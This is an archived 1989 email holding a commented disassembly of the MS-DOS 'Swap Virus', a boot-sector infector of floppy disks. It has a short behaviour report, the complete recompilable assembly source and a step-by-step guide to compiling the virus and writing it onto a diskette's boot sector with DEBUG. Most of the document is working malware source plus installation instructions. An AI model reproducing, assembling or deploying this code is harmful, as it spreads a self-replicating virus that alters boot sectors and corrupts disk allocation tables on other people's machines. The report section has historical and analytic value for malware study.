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MalwareSourceCode/MSDOS/S-Index/Virus.MSDOS.Unknown.swap.asm
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From: Jnet%"NYYUVAL@WEIZMANN" "Yuval Tal -8-474592" 15-AUG-1989 19:42:53.22
To: RCSTRN@HEITUE51
CC:
Subj: Swap Virus
Received: From WEIZMANN(VMMAIL) by HEITUE51 with Jnet id 6788
for RCSTRN@HEITUE51; Tue, 15 Aug 89 19:42 N
Received: by WEIZMANN (Mailer R2.03B) id 7639; Tue, 15 Aug 89 20:34:55 +0300
Date: Tue, 15 Aug 89 20:33:34 +0300
From: "Yuval Tal (972)-8-474592" <NYYUVAL@WEIZMANN>
Subject: Swap Virus
To: RCSTRN@HEITUE51
hi....
This is the swap virus that i've told u about..
cheers,
yuval
+------------------------------------------------------+
| The "Swapping" virus |
+------------------------------------------------------+
| |
| Disassembled on: August, 1989 |
| |
| Disassembled by: Yuval Tal |
| |
| Disassembled using: ASMGEN and DEBUG |
| |
+------------------------------------------------------+
Important note: If you find *ANYTHING* that you think I wrote
incorrectly or is-understood something, please let me know ASAP.
You can reach me:
Bitnet: NYYUVAL@WEIZMANN
InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU
This text is divided into theree parts:
1) A report about the Swap Virus.
2) A disassembly of the Swap Virus.
3) How to install this virus?
-------------------------------------------------------------------------------
R E P O R T
-------------------------------------------------------------------------------
Virus Name..............: The Swap Virus
Attacks.................: Floppy-disks only
Virus Detection when....: June, 1989
at......: Israel
Length of virus.........: 1. The virus itself is 740 bytes.
2. 2048 bytes in RAM.
Operating system(s).....: PC/MS DOS version 2.0 or later
Identifications.........: A) Boot-sector:
1) Bytes from $16A in the boot sector are:
31 C0 CD 13 B8 02 02 B9 06 27 BA 00 01 CD 13
9A 00 01 00 20 E9 XX XX
2) The first three bytes in the boot sector are:
JMP 0196 (This is, if the boot sector was
loaded to CS:0).
B) FAT: Track 39 sectors 6-7 are marked as bad.
C) The message:
"The Swapping-Virus. (C) June, by the CIA"
is located in bytes 02B5-02E4 on track 39,
sector 7.
Type of infection.......: Stays in RAM, hooks int $8 and int $13.
A diskette is infected when it is inserted into the
drive and ANY command that reads or writes from/to
the diskette is executed. Hard disks are NOT infected!
Infection trigger.......: The virus starts to work after 10 minutes.
Interrupt hooked........: $8 (Timer-Tick - Responsible for the letter dropping)
$13 (Disk Drive - Infects!)
Damage..................: Track 39 sectors 6-7 will be marked as bad in the
FAT.
Damage trigger..........: The damage is done whenever a diskette is infected.
Particularities.........: A diskette will be infected only if track 39 sectors
6-7 are empty.
-------------------------------------------------------------------------------
D I S A S S E M B L Y
-------------------------------------------------------------------------------
;The first thing I did, inorder to dis-assemble this virus, was un-assemling
;it with the U command in DOS's DEBUG utility. Then, I used a dis-assembler
;called ASMGEN to set all the labels and variables in the .ASM file. I then
;compared the two outputs (from DEBUG and from ASMGEN) and updated the .ASM
;file that no command will be missing, added a few things and this is the
;result:
CODE SEGMENT
ASSUME DS:CODE,CS:CODE
ORG 0000H
START: JMP L0353
DATA_BEGIN EQU THIS BYTE
OldInt8 DW 0,0 ;The old interrupt 8: Offset Segment
OldInt13 DW 0,0 ;The old interrupt 13: Offset Segment
RandomNumber DW 0 ;The random number
Flag DB 0
Counter DW 0
Counter2 DW 0
Status DB 0
CHAR DB 0 ;The character that is falling
CHARUNDER DB 0 ;The chacterer that we save
ADDRCHAR DW 0 ;The address of the character in mem.
GOT13 DB 0 ;If interrupt 13 is installed
DISKDRIV DB 0 ;The diskette that we are infecting
DISK DW 0 ;The diskette that we are infecting
DATA_END EQU THIS BYTE
; The following 11 command are written into the boot-sector at address CS:196
; At first I worte the commands, but some of the opcodes weren't the same as
; in the virus so I've exchanged them into opcodes for maximum compability.
StartCmds EQU THIS BYTE
DB 031h,0C0h ;XOR AX,AX
DB 0CDh,013h ;INT 13h
DB 0B8h,002h,002h ;MOV AX,OFFSET 0202h
DB 0B9h,006h,027h ;MOV CX,OFFSET 2706h
DB 0BAh,000h,001h ;MOV DX,OFFSET 0100h
DB 0BBh,000h,020h ;MOV BX,OFFSET 2000h
DB 08Eh,0C3h ;MOV ES,BX
DB 0BBh,000h,000h ;MOV BX,0
DB 0CDh,013h ;INT 13h
DB 09Ah,00h,00h,00h,020h ;Call 2000h:0000
DB 0E9h ;JMP
FirstJMP DW 0FE89h ; 003EH (Don't worry,
; it's the right addres
;------------------------------------------
; This is the new interrupt $13 routine
;------------------------------------------
NewInt13:
PUSHF ;
CMP DL,1h ;Call for drive A: or B:?
JA L0153 ;If not, don't put virus
CMP AH,2h ;Is it a readblock function
JB L0153 ;(AH=2)? No, AH is smaller so
;don't put virus
CMP AH,3h ;Is it a writeblock function
JA L0153 ;(AH=3)? No, AH is bigger so
;don't put virus
INC DL ;Set disk drive to fit the user
;(Drive A=1 ; Drive B=2)
MOV CS:DiskDriv,DL ;Save the drive number
DEC DL ;Set disk drive to fit the int.
;(Drive A=0 ; Drive B=1)
L0153: CALL DWORD PTR CS:OldInt13 ;Call the original int 13
JNB L0160 ;If no error, goto end of
;routine. (JNB=JNC)
MOV BYTE PTR CS:DiskDriv,0 ;If error, DiskDriv=0
L0160: RETF 2 ;Return from routine
;-----------------------------------------------------
; Infect the diskette
;-----------------------------------------------------
L0163: PUSH ES ;
PUSH BP ;Save registers
MOV BP,SP ;
MOV AX,[BP+10h] ;Let AX=CS from the stack
POP BP ;
CMP AX,0200h ;Are we called from the system?
JBE L01BB ;If so, don't infect
MOV BX,CS ;Get the program segment
CMP AX,BX ;Is it the same as one from
JNB L01BB ;stack? If so, don't infect
MOV AX,CS ;
MOV ES,AX ;ES=CS
MOV AL,CS:DiskDriv ;AL=DiskDriv
DEC AL ;Set AL to fit int
XOR AH,AH ;AH=0
MOV CS:Disk,AX ;Save AX
MOV AX,0201h ;Read one sector
MOV BX,0400h ;to buffer CS:400
MOV CX,0003h ;from sector 3, track 0 (FAT)
MOV DX,CS:Disk ;restore the disk drive
INT 13h ;Read it!!!
JB L01BE ;If error, don't infect
MOV AX,0301h ;Write one sector
MOV BX,0400h ;from CS:400
MOV DX,CS:Disk ;the disk drive number
CMP BYTE PTR CS:[BX+13h],0 ;is there something on it?
JNZ L01BE ;yes, don't infect
MOV BYTE PTR CS:[BX+13h],0F7h ;Mark the sector before the
OR BYTE PTR CS:[BX+14h],0Fh ;last one as bad
INT 13h ;Re-write the FAT!
JB L01BE ;If error, don't infect!
JMP SHORT L01C1 ;Continue...
;Note: I have no idea what is the object of the next NOPs.
NOP ;
L01BB: JMP SHORT L022D ;These JMP are for the don't
NOP ;infect...see above!
L01BE: JMP SHORT L0227 ;
NOP ;
L01C1: MOV AX,0201h ;Read one sector to the
MOV BX,0400h ;buffer at CS:400
MOV CX,0001h ;from sector 1, track 0 (boot
MOV DX,CS:Disk ;sector) from diskette
INT 13h ;Read it!
JB L0227 ;If error, don't infect
;A boot sector always start with a JMP to a certain place. This virus changes
;this JMP to
MOV BX,0400h ;Check where does the first
MOV AL,CS:[BX+1] ;JMP jumps to.
XOR AH,AH ;
SUB AX,1B3h ;Reduce 1B3h to calculate the
;real JMP address and
MOV CS:FirstJMP,AX ;save it.
MOV WORD PTR CS:[BX],93E9h ;Change the JMP in the loaded
MOV BYTE PTR CS:[BX+2],1 ;boot-sector (CS:400). E9=JMP
PUSH SI ;
PUSH DI ;
PUSH DS ;Save registers
MOV AX,CS ;
MOV DS,AX ;DS=CS
;Here, the commands which are added to the boot-sector at the 196th byte are
;copied to the loaded boot-sector at address CS:400.
MOV SI,Offset StartCmds ;SI points to commands to add
;to the boot-sector
MOV DI,0596h ;The 196th byte from CS:400
MOV CX,1Fh ;The commands are 1Fh bytes long
CLD ;
REPZ MOVSB ;Copy it!
L0200: POP DS ;
L0201: POP DI ;
L0202: POP SI ;Restore registers
;The loaded and changed boot-sector is re-written to the diskette.
MOV AX,0301h ;Write one sector from
MOV BX,0400h ;CS:400 to
MOV CX,0001h ;sector 1, track 0
MOV DX,CS:Disk ;disk number..
INT 13h ;Write data!
JB L0227 ;If error, don't infect
;Here, the virus is written to the diskette to the marked bad sectors
MOV AX,0302h ;Write two sectors from
MOV BX,0 ;CS:0 (this code!) to
MOV CX,2706h ;track 27h, sector 6
MOV DX,CS:Disk ;disk number..
MOV DH,1h ;side number 1
INT 13h ;Write it!
L0227: MOV BYTE PTR CS:DiskDriv,0 ;In case of error DiskDriv=0
L022D: POP ES ;Restore register
JMP SHORT L02AF ;finished infecting
NOP ;Again, i don't know what is
;this NOP object
;-------------------------------------------
; The new interrupt 13h is installed here
;-------------------------------------------
L0231: XOR AX,AX ;ES points to lowest segment
MOV ES,AX ;in memory
MOV BX,ES:4Ch ;
MOV CS:OldInt13[0],BX ;Save the int vector (offset)
MOV BX,ES:4Eh ;
MOV CS:OldInt13[2],BX ;Save the int vector (segment)
MOV BX,CS ;BX=CS
MOV ES:4Eh,BX ;Change the int vector (segment)
MOV BX,Offset NewInt13 ;BX=Offset of the new int 13
MOV ES:4Ch,BX ;Change the int vector (offset)
MOV BYTE PTR CS:Got13,1 ;Mark flag that int 13 is instal
MOV BYTE PTR CS:Status,0 ;Status=0
JMP L034D ;Continue....
;-----------------------------------------------------
L0267: JMP L0163 ;Infect disk!
;-----------------------------------------------------
;This is the new interrupt $8
;-----------------------------------------------------
L026A: PUSHF ;
CALL DWORD PTR CS:OldInt8 ;Call orginal interrput
PUSH AX ;
PUSH BX ;
PUSH CX ;
PUSH DX ;
PUSH ES ;Save registers
;The virus picks a random number. It does it by adding AX,BX,CX and DX
;to RandomNumber. The values of AX,BX,CX and DX are undefined because an
;hardware interrupt (look6 commands back) was called.
ADD CS:RandomNumber,AX ;\
ADD CS:RandomNumber,BX ; |_ Create random number
ADD CS:RandomNumber,CX ; |
ADD CS:RandomNumber,DX ;/
;I am not sure what the programmer had done next but my guess is that this
;is the time check. The virus starts to work after 10 minuntes or so.
CMP WORD PTR CS:Counter,0443h ;Is my counter>=443h?
JNB L029F ;Yes, it is..
INC WORD PTR CS:Counter ;No, incerase it and also
INC WORD PTR CS:Counter2 ;increase another thing (??)
;and then,
JMP L034D ;goto end of routine
L029F: CMP BYTE PTR CS:Got13,0 ;
JZ L0231
CMP BYTE PTR CS:DiskDriv,0 ;Is diskette infected?
JNZ L0267 ;No, infect it!
L02AF: CMP WORD PTR CS:Counter2,2A9Dh ;??
JNB L02C0 ;??
INC WORD PTR CS:Counter2 ;??
JMP L034D ;Exit routine
;-----------------------------------------------------------------
; This is the main routine which drops the letter from the screen
;-----------------------------------------------------------------
L02C0: MOV BX,0B800h ;Make ES point to the screen
MOV ES,BX ;segment (only cga,ega,mcga)
CMP BYTE PTR CS:Status,0 ;Is status=0?
JNZ L0305 ;No, drop letter
;This is done to make space in the time between the letters fall.
ADD BYTE PTR CS:Flag,4 ;Flag:=Flag+4
CMP BYTE PTR CS:Flag,4 ;Is flag=4?
JNB L034D ;If so, don't drop
MOV BX,CS:RandomNumber ;Set up random number..
MOV CL,5 ;
SHR BX,CL ;first, devide it by 32
SHL BX,1 ;second, multiply it by 2
MOV AL,ES:[BX] ;Save the char we need to drop
CMP AL,20h ;is it a space( )?
JZ L034D ;if so, don't drop
MOV CS:Char,AL ;Save the char
MOV BYTE PTR CS:CharUnder,20h ;The saved char is now ' '
MOV CS:AddrChar,BX ;Svae the address of the char
MOV BYTE PTR CS:Status,1 ;Status=1
L0302: JMP SHORT L034D ;Go to exit
NOP ;
L0305: CMP BYTE PTR CS:Status,2 ;Is Status=2?
JZ L0315 ;If so, continue
INC BYTE PTR CS:Status ;Else, status=status+1
JMP SHORT L034D ;Go to exit
NOP ;
L0315: MOV BYTE PTR CS:Status,1 ;Status:=1
MOV BX,CS:AddrChar ;Put address of character in BX
MOV AL,CS:CharUnder ;and the saved char at AL
MOV ES:[BX],AL ;Erase the letter on the screen
ADD BX,0A0h ;Move pointer to next line
CMP BX,0FA0h ;Did we past end of screen?
JA L0347 ;If so, the dropping has ended
MOV CS:AddrChar,BX ;Save the new address
MOV AL,ES:[BX] ;and the character
MOV CS:CharUnder,AL ;and put the dropping letter
MOV AL,CS:Char ;in the current location
MOV ES:[BX],AL ;
JMP SHORT L034D ;Go to end of routine
NOP ;
L0347: MOV BYTE PTR CS:Status,0 ;Status:=0
;
L034D: POP ES ;Resotre registers
POP DX ;
POP CX ;
POP BX ;
POP AX ;
IRET ;Return from interrupt
;-------------------------------------------------------------------
;This part of the virus initilized the TSR
;-------------------------------------------------------------------
L0353: PUSH DS ;
PUSH ES ;Save registers
MOV AX,CS ;
MOV DS,AX ;Make CS=DS
;First thing, clear all the data area
MOV ES,AX ;ES=DS
MOV DI,OFFSET DATA_BEGIN ;Offset of beginning of data
MOV CX,OFFSET DATA_END-OFFSET DATA_BEGIN ;Length of data
CLD ;Go forward
XOR AL,AL ;Store 0 each time (AL=0)
REPZ STOSB ;Repeat so CX times
;Now, make ES point to the lowest segment in the memory
XOR AX,AX ;
MOV ES,AX ;ES point to lowest segment
;The interrupt vectors are written in the lowest segment so:
;
; 1) Save the interrupt 8 segment and offset for later use
; 2) Read amount of memory (0:413h) and steal 2K (the virus will be put here)
MOV BX,ES:20h ;Get offset of int $8
MOV DS:OldInt8[0],BX ;Save int $8 offset
MOV BX,ES:22h ;Get segment of int $8
MOV DS:OldInt8[2],BX ;Save int $8 segment
MOV AX,ES:413h ;Put amount of mem. in AX,
SUB AX,2 ;steal 2K and
MOV ES:413h,AX ;save the new amount of mem.
;Copy the virus to the highest place in the memory:
MOV CL,6 ;
SHL AX,CL ;Multiply the mem size by 64 and
MOV ES,AX ;make ES point to this segm.
MOV SI,OFFSET START ;SI to begining of this code
MOV DI,SI ;
MOV CX,OFFSET _End-OFFSET Start ;Virus length=_End-Start
CLD ;
REPZ MOVSB ;Copy the virus.
;IMPORTANT: I am not sure that what I am saying in the next paragraph is
; correct. Please let me know if I am wrong
XOR AX,AX ;
MOV DS,AX ;DS point to lowest segment
MOV BX,CS:OldInt8[0] ;Get the offset of int $8 and
MOV BYTE PTR ES:[BX],0CFh ;put 0CFh there (I think it is
;to put IRET).
;OK, now all the virus needs to do is to change the interrupt vector so
;it will point the new $8 interrput.
MOV BX,ES ;
CLI ;
MOV DS:22h,BX ;Change the vector (Segment)
MOV BX,OFFSET L026A ;BX=Offset of new interrupt
MOV DS:20h,BX ;Change the vector (Offset)
STI ;
POP ES ;Restore registers
POP DS ;
RETF ;Return back
;I guess this is the signature of the virus:
DB 'The Swapping-Virus. (C) June, 1989 by the CIA'
_END EQU THIS BYTE
CODE ENDS
;
END START
-------------------------------------------------------------------------------
H O W T O I N S T A L L T H E V I R U S
-------------------------------------------------------------------------------
1) Cut the disassembly from this text.
2) Compile the disassembly. I used Macro Assembler 5.1 in order to compile and
link it but I think that there won't be any trouble using Turbo Assembler.
3) Use EXE2BIN or anything else inorded to make it a .COM file.
4) Format a diskette with the /S option inorder to put the operation system on
it (make sure you format it in 9 sectors per track format).
5) Enter DOS's DEBUG debugger and load the .COM file that you have created.
6) Type: M 100 400 0 this is done inorded to move the virus from CS:100 to
CS:0.
7) Put the diskette you want to infect in drive A.
8) Type: W 0 0 2CC 2 this command will write the virus into sectors 6-7 on
track 39.
9) Type: L 0 0 0 1 this will load the boot sector into the memory.
10) Type: U 0 and remember the number after the JMP in offset 0.
11) Type: A 0
JMP 196 this will execute the virus each time the
diskette is booted.
12) Type: A 196
XOR AX,AX
INT 13
MOV AX,202
MOV CX,2706
MOV DX,100
MOV BX,2000
MOV ES,BX
MOV BX,0
INT 13
CALL 2000:0000
JMP <the number from CS:0>
13) Now, save the boot sector by typing: W 0 0 0 1
That's it! The virus is now installed on your diskette!
+-----------------------------------------------------------------------+
| BitNet: NYYUVL@WEIZMANN CSNet: NYYUVAL@WEIZMANN.BITNET |
| InterNet: NYYUVAL%WEIZMANN.BITNET@CUNYVM.CUNY.EDU |
| |
| Yuval Tal |
| The Weizmann Institute Of Science "To be of not to be" -- Hamlet |
| Rehovot, Israel "Oo-bee-oo-bee-oo" -- Sinatra |
+-----------------------------------------------------------------------+
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <<3C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
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